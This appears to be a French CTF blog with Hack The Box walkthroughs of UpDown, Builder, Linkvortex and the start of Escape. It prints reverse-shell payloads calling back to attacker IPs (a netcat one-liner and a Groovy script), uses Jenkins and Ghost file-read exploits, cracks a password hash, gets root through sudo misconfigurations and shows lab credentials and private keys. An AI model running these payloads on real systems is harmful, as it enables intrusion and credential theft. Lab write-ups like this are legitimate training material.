drwxr-xr-x 6 developer developer 4.0K Aug 30 2022 ..
-rwsr-x--- 1 developer www-data 17K Jun 22 2022 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py

Dans ce code Python, on observe l’utilisation de la fonction “input”. De plus, le code est executé avec Python2 et non pas Python3. Sous Python2, lors de l’utilisation de la fonction “input” Python ne considère pas par défaut qu’il s’agit d’une String, et tente donc de le parser. On peut donc injecter du code python pour ouvrir un reverse shell. Sous Python3, la sortie de input("") est une Str par défaut donc pas d’injection possible :

Payload:

import(‘os’).system(‘rm /tmp/b;mkfifo /tmp/b;cat /tmp/b|bash -i 2>&1|nc 10.10.14.14 8888 >/tmp/b’)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
 print "Website is up"
else:
 print "Website is down"

-------------------------

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('rm /tmp/b;mkfifo /tmp/b;cat /tmp/b|bash -i 2>&1|nc 10.10.14.14 8888 >/tmp/b')
rm: cannot remove '/tmp/b': No such file or directory

On obtient un nouveau reverse shell en tant que ‘developer’

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


$ nc -lnvp 8888
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 10.10.11.177.
Ncat: Connection from 10.10.11.177:45492.
developer@updown:/home/developer/dev$ whoami
whoami
developer
developer@updown:/home/developer/dev$ cd ..
developer@updown:/home/developer$ ls -l .ssh
ls -l .ssh
total 12
-rw-rw-r-- 1 developer developer 572 Aug 2 2022 authorized_keys
-rw------- 1 developer developer 2602 Aug 2 2022 id_rsa
-rw-r--r-- 1 developer developer 572 Aug 2 2022 id_rsa.pub
developer@updown:/home/developer$ cat .ssh/id_rsa
cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
........
3zga8EzubgwnpU7r9hN2jWboCCIOeDtvXFv08KT8pFDCCA+sMa5uoWQlBqmsOWCLvtaOWe
N4jA+ppn1+3e0AAAASZGV2ZWxvcGVyQHNpdGVpc3VwAQ==
-----END OPENSSH PRIVATE KEY-----

On trouve la clé SSH de developer nous permettant de nous connecter facilement via ce protocole :

1
2
3
4
5
6
7
8


$ vim developer.key
$ chmod 600 developer.key
$ ssh developer@10.10.11.177 -i developer.key
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64)
....
Last login: Tue Aug 30 11:24:44 2022 from 10.10.14.36
developer@updown:~$ cat user.txt
d235....edcf

developer -> root

easy_install as root

1
2
3
4
5
6


developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
 (ALL) NOPASSWD: /usr/local/bin/easy_install

Sur GTFObins, on trouve un chemin d’exploitation pour passer root:
https://gtfobins.github.io/gtfobins/easy_install/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF

------------------------

developer@updown:/tmp$ TF=$(mktemp -d)
developer@updown:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:/tmp$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.hlSwiYYkel
Writing /tmp/tmp.hlSwiYYkel/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.hlSwiYYkel/egg-dist-tmp-KNZfWR
# whoami
root
# cat /root/root.txt 
7077....3986

Il suffit de créer un dossier, avec un fichier setup.py expliquant comment notre module python doit s’installer. On injecte un code malveillant dans ce fichier et il sera executer en tant que root lors du lancement de easy_install.

HTB | Builder

Sat, 25 Oct 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Builder	Windows	10.10.11.10	Medium

Users

1

- jennifer : **princess**

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.10
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
8080/tcp open http syn-ack ttl 62 Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-robots.txt: 1 disallowed entry
|_/
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)

Foothold

Jenkins 2.441 - port 8080

Local File Inclusion - CVE-2024-23897

On trouve sur internet que Jenkins 2.441 est vulnérable à une LFI, permettant d’accéder à n’importe quel fichier sur la machine : https://www.exploit-db.com/exploits/51993

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


$ python3 exploit.py -u http://10.10.11.10:8080
Press Ctrl+C to exit
File to download:
> /etc/hosts
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.2 0f52c222a4cc
::1 localhost ip6-localhost ip6-loopback
ff00::0 ip6-mcastprefix
127.0.0.1 localhost
fe00::0 ip6-localnet
File to download:
> /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

Dans le /etc/hosts, on trouve:

172.17.0.2 0f52c222a4cc

On en déduit que jenkins tourne dans un docker, au vu de l’ip en 172 et du hostname en hexadecimal.

Dans /etc/passwd, on trouve le dossier contenant les fichiers de Jenkins:

jenkins:x:1000:1000::/var/jenkins_home:/bin/bash

Toujours à l’aide de la LFI, on tente de récupérer le fichier de configuration de Jenkins pour obtenir des credentials :

/var/jenkins_home

En cherchant sur internet, je comprends que chaque utilisateur à un fichier config.xml contenant probablement le hachage de leur mot de passe.

/var/lib/jenkins/users/jenkins_[udid]/config.xml

De plus, j’ai télécharger la version de Jenkins 2.441 que j’ai installé sur une machine virtuelle, afin de pouvoir observer correctement l’arborescence des fichiers. Sur le dashboard de Jenkins, j’ai trouvé le nom d’utilisateur “jennifer” qui semble correspondre au compte administrateur.

En regardant de plus près dans les fichiers de mon installation de Jenkins, j’ai trouvé un fichier /var/lib/jenkins/users/users.xml contenant la liste des users et leur uid. En dumpant ce fichier, on trouve l’uid de jennifer, et donc le nom du dossier:

jennifer_12108429903186576833

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


> /var/jenkins_home/users/users.xml
<?xml version='1.1' encoding='UTF-8'?>
 <string>jennifer_12108429903186576833</string>
 <idToDirectoryNameMap class="concurrent-hash-map">
 <entry>
 <string>jennifer</string>
 <version>1</version>
</hudson.model.UserIdMapper>
 </idToDirectoryNameMap>
<hudson.model.UserIdMapper>
 </entry>

Enfin, je tente de récupérer le fichier config.xml de jennifer :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


File to download:
> /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
...
<?xml version='1.1' encoding='UTF-8'?>
 <fullName>jennifer</fullName>
 <seed>6841d11dc1de101d</seed>
 <id>jennifer</id>
 <version>10</version>
 <tokenStore>
 <filterExecutors>false</filterExecutors>
 <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>
 <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>

J’ai obtenu le hachage de jennifer sur lequel j’ai pu effectuer une attaque par dictionnaire avec la liste rockyou.txt :

1
2


$ hashcat -m 3200 hash.txt ~/wordlists/rockyou.txt --show
$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a:princess

On obtient finalement les credentials de jennifer nous permettant d’obtenir un accès administrateur sur l’interface web de Jenkins :

jennifer : princess

Jenkins Reverse Shell

http://10.10.11.10:8080/manage/script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


String host="10.10.14.11";int port=1337;String cmd="bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

-------------------

nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.11.10.
Ncat: Connection from 10.10.11.10:34418.

cat /var/jenkins_home/user.txt
7712.....64b9

Privilege Escalation

Root - SSH Private Key

https://devops.stackexchange.com/questions/2191/how-to-decrypt-jenkins-passwords-from-credentials-xml

On trouve un fichier credentials.xml contenant un secret chiffré :

/var/jenkins_home/credentials.xml :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


<?xml version='1.1' encoding='UTF-8'?>
...
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@1319.v7eb_51b_3a_c97b_">
 <java.util.concurrent.CopyOnWriteArrayList>
 <privateKey>{AQAAABAAAAowLrfCrZx9baWliwrtC...........HaB1OTIcTxtaaMR8IMMaKSM=}</privateKey>
 </privateKeySource>
 <username>root</username>
 <usernameSecret>false</usernameSecret>
 </com.cloudbees.plugins.credentials.domains.Domain>
...

Après quelques recherches sur le web, on comprend que les informations contenus dans ce fichier correspondent à des mots de passe ou clés SSH chiffrés, associés à des utilisateurs. Sur l’interface graphique de Jenkins, on observe qu’une clé SSH semble enregistrée pour un utilisateur root.

Sur un forum en ligne, on nous explique que le secret dans la balise “” du fichier credentials.xml peut etre déchiffré en se rendant dans la console disponible sur la GUI : http://10.10.11.10:8080/script

Il suffit alors d’executer la commande suivante :

println(hudson.util.Secret.decrypt("{PRIVATE_KEY}"))

Ce qui nous donne :

println(hudson.util.Secret.decrypt("{AQAAABAAAAo…IcTxtaaMR8IMMaKSM=}"))

Sur le screenshot, on observe l’execution du script qui nous permet de récupérer une clé privée SSH :

SSH as root

A l’aide de la clé SSH, on se connecte directement en tant que root sur la machine :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


$ vim root.key
$ chmod 600 root.key
$ ssh root@10.10.11.10 -i root.key
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)
...
Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40
root@builder:~# ls
root.txt
root@builder:~# cat root.txt
a9aa.....0396

HTB | Linkvortex

Wed, 22 Oct 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Linkvortex	Linux	10.10.11.47	Easy

Users

1
2
3
4


# Ghost application
admin@linkvortex.com : OctopiFociPilfer45
# SSH
bob : fibber-talented-worth

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.47
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3ef8b968c8eb570fcb0b47b9865083eb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHm4UQPajtDjitK8Adg02NRYua67JghmS5m3E+yMq2gwZZJQ/3sIDezw2DVl9trh0gUedrzkqAAG1IMi17G/HA=
| 256 a2ea6ee1b6d7e7c58669ceba059e3813 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKLjX3ghPjmmBL2iV1RCQV9QELEU+NF06nbXTqqj4dz
80/tcp open http syn-ack ttl 63 Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache

Foothold

linkvortex.htb - Ghost 5.58

On se connecte au port 80 qui nous redirige vers : http://linkvortex.htb A l’aide Wappalyzer, on identifie Ghost CMS version 5.58.

Subdomain Enumeration - dev

dev.linkvortex.htb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


$ gobuster vhost -u "linkvortex.htb" -w `fzf-wordlists` --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://linkvortex.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/lists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.linkvortex.htb Status: 200 [Size: 2538]

$ cat /etc/hosts
10.10.11.47 linkvortex.htb dev.linkvortex.htb

.git

On trouve un fichier .git, on peut alors récupérer ce dossier git et l’analyser avec git-dumper

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


$ dirsearch -u http://dev.linkvortex.htb

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://dev.linkvortex.htb/

[17:09:04] Scanning:
[17:09:04] 301 - 239B - /.git -> http://dev.linkvortex.htb/.git/
...

git-dumper - Password Found

On dump les fichiers du .git avec git-dumper :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ git-dumper http://dev.linkvortex.htb/.git ./git-dump/
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
...
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/864e0261278525197724b394ed4292414d9fec [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index

J’ai cloné la véritable version de Ghost 5.58 et j’ai fais un diff avec le dump du .

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11



$ wget https://github.com/TryGhost/Ghost/archive/refs/tags/v5.58.0.zip
$ unzip v5.58.0.zip
$ diff -r ./Ghost-5.58.0 ./git-dump
Only in ./git-dump: Dockerfile.ghost
diff --color -r ./Ghost-5.58.0/ghost/core/test/regression/api/admin/authentication.test.js ./git-dump/ghost/core/test/regression/api/admin/authentication.test.js
56c56
< const password = 'thisissupersafe';
---
> const password = 'OctopiFociPilfer45';
Only in ./git-dump: .git

password : OctopiFociPilfer45

Ghost Dashboard

On trouve une page de login permettant d’accéeder au dashboard de Ghost :

http://linkvortex.htb/ghost

Intuitivement, on essaye de se connecter avec cette adresse email :

admin@linkvortex.htb

Credentials :

1
2


admin@linkvortex.htb
OctopiFociPilfer45

Ghost Arbitrary File Read Exploit

Après quelques recherches concernant la version 5.58 de Ghost, on trouve la CVE-2023-40028 permettant de lire n’importe quel fichier sur la machine de manière arbitraire en utilisant un le compte administrateur.

https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028

En utilisant la CVE, on tente de lire plusieurs fichiers. Dans /etc/passwd, seul l’utilisateur “node” semble avoir un dossier /home, ce qui est étonnant. Ensuite, on trouve le fichier /etc/hosts qui contient :

172.20.0.2 484b975c6616

Après vérification, les containers docker on souvent une ip en 172.x.x.x . L’hostname en hexadecimal fait également penser a un container docker.

De plus, on sait que l’application marche avec Node JS, et par défaut, les applications node js sont installées dans :

/var/lib/[App]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ ./exploit.sh -u admin@linkvortex.htb -p 'OctopiFociPilfer45' -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/hosts
File content:
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.20.0.2 484b975c6616

Par déduction, on tente donc de récupérer le fichier de configuration de l’application ghost :

/var/lib/ghost/config.production.json

On trouve des credentials semblant permettre l’utilisation d’un serveur mail SMTP :

bob@linkvortex.htb
fibber-talented-worth

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
 "url": "http://localhost:2368",
 "server": {
 "port": 2368,
 "host": "::"
 },
...
 "mail": {
 "transport": "SMTP",
 "options": {
 "service": "Google",
 "host": "linkvortex.htb",
 "port": 587,
 "auth": {
 "user": "bob@linkvortex.htb",
 "pass": "fibber-talented-worth"
 }
 }
 }
}

SSH to bob

On peut finalement se connecter en SSH avec le compte utilisateur bob :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ ssh bob@10.10.11.47
bob@10.10.11.47's password: # <<<< fibber-talented-worth
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec 3 11:41:50 2024 from 10.10.14.62
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
bob@linkvortex:~$ cat user.txt
80f2.....24bb

Privilege Escalation

Enumeration

1
2
3
4
5
6


bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
 (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

clean_symlink.sh as root

On peut executer ce script en tant que root, en passant fichier avec l’extension “.png” : /opt/ghost/clean_symlink.sh :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
 CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
 /usr/bin/echo "! First argument must be a png file !"
 exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
 LINK_NAME=$(/usr/bin/basename $LINK)
 LINK_TARGET=$(/usr/bin/readlink $LINK)
 if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
 /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
 /usr/bin/unlink $LINK
 else
 /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
 /usr/bin/mv $LINK $QUAR_DIR/
 if $CHECK_CONTENT;then
 /usr/bin/echo "Content:"
 /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
 fi
 fi
fi

1ère essai :

Creation d’un symlink n00b.png qui pointe vers /root/root.txt
Execution du script
- ERROR : “! Trying to read critical files, removing link [ n00b.png ] !”

On remarque que le script utilise readlink pour vérifier où pointe notre symlink. S’il pointe vers un fichier dans contenant dans son path “etc” ou “root” il ne le lit pas.

Pour bypasser cette protection, il suffit de créer deux symlink :

1er symlink : n00b pointe vers /root/root.txt
2ème symlink : exploit.png pointe vers n00b

Lorsqu’il vérifie où pointe le symlink exploit.png il trouve “n00b” et autorise donc sa lecture. Or, comme n00b pointe vers root.txt, le fichier s’affiche dans le terminal :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


bob@linkvortex:/var/quarantined$ ln -s /root/root.txt n00b
bob@linkvortex:/var/quarantined$ ls
n00b
bob@linkvortex:/var/quarantined$ ln -s n00b exploit.png
bob@linkvortex:/var/quarantined$ ls
exploit.png n00b
bob@linkvortex:/var/quarantined$ ls -lah
total 8.0K
drwxr-xr-x 2 bob bob 4.0K Oct 22 22:46 .
drwxr-xr-x 14 root root 4.0K Nov 29 2024 ..
lrwxrwxrwx 1 bob bob 4 Oct 22 22:46 exploit.png -> n00b
lrwxrwxrwx 1 bob bob 14 Oct 22 22:45 n00b -> /root/root.txt
bob@linkvortex:/var/quarantined$ cat n00b
cat: n00b: Permission denied
bob@linkvortex:/var/quarantined$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh exploit.png
Link found [ exploit.png ] , moving it to quarantine
/usr/bin/mv: 'exploit.png' and '/var/quarantined/exploit.png' are the same file
Content:
5f3e.....aebc9

Root shell

On utilise l’exploit pour lire la clé SSH de l’utilisateur root et se connecter en SSH :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


bob@linkvortex:/var/quarantined$ ln -s /root/.ssh/id_rsa n00b
bob@linkvortex:/var/quarantined$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh exploit.png
Link found [ exploit.png ] , moving it to quarantine
/usr/bin/mv: 'exploit.png' and '/var/quarantined/exploit.png' are the same file
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmpHVhV11MW7eGt9WeJ23rVuqlWnMpF+FclWYwp4SACcAilZdOF8T
...
xmo6eXMvU90HVbakUoRspYWISr51uVEvIDuNcZUJlseINXimZkrkD40QTMrYJc9slj9wkA
ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA==
-----END OPENSSH PRIVATE KEY-----

# -------------------------------

$ vim root.key
$ chmod 600 root.key
$ ssh -i root.key root@10.10.11.47
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
...

Last login: Mon Dec 2 11:20:43 2024 from 10.10.14.61
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
root@linkvortex:~# whoami
root
root@linkvortex:~# cat root.txt
5f3e.....ebc9

HTB | Escape

Wed, 10 Sep 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Escape	Windows	10.10.11.202	Medium

Users

1
2
3
4


# SQL Server
PublicUser : GuestUserCantWrite1
sql_svc : REGGIE1234ronnie
Ryan.cooper : NuclearMosquito3

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.202
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-10 22:21:01Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-09-10T22:22:35+00:00; +8h00m00s from scanner time.
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4cc647ebb2c23ef4721d7028809d82
| SHA-1: d88d12ae8a50fcf12242909e3dd75cff92d1a480
| -----BEGIN CERTIFICATE-----
| MIIFkTCCBHmgAwIBAgITHgAAAAsyZYRdLEkTIgAAAAAACzANBgkqhkiG9w0BAQsF
| I1fLChrYFtPk3g5JHaHyIE9aY3EUmU3EH2SKhRSi5R6GJBctmw==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-09-10T22:22:34+00:00; +7h59m59s from scanner time.
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-10T22:17:26
| Not valid after: 2055-09-10T22:17:26
| MD5: 8f5d163bc1ef9dbb2b789cdf2d7b5a90
| SHA-1: 6c89bf0840566f823a006405fce65a4f0570de19
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQfAGJqsgHZopA2ARCvdHiZTANBgkqhkiG9w0BAQsFADA7
| JfvGOQ==
|_-----END CERTIFICATE-----
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2025-09-10T22:22:35+00:00; +8h00m00s from scanner time.
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-10T22:22:35+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
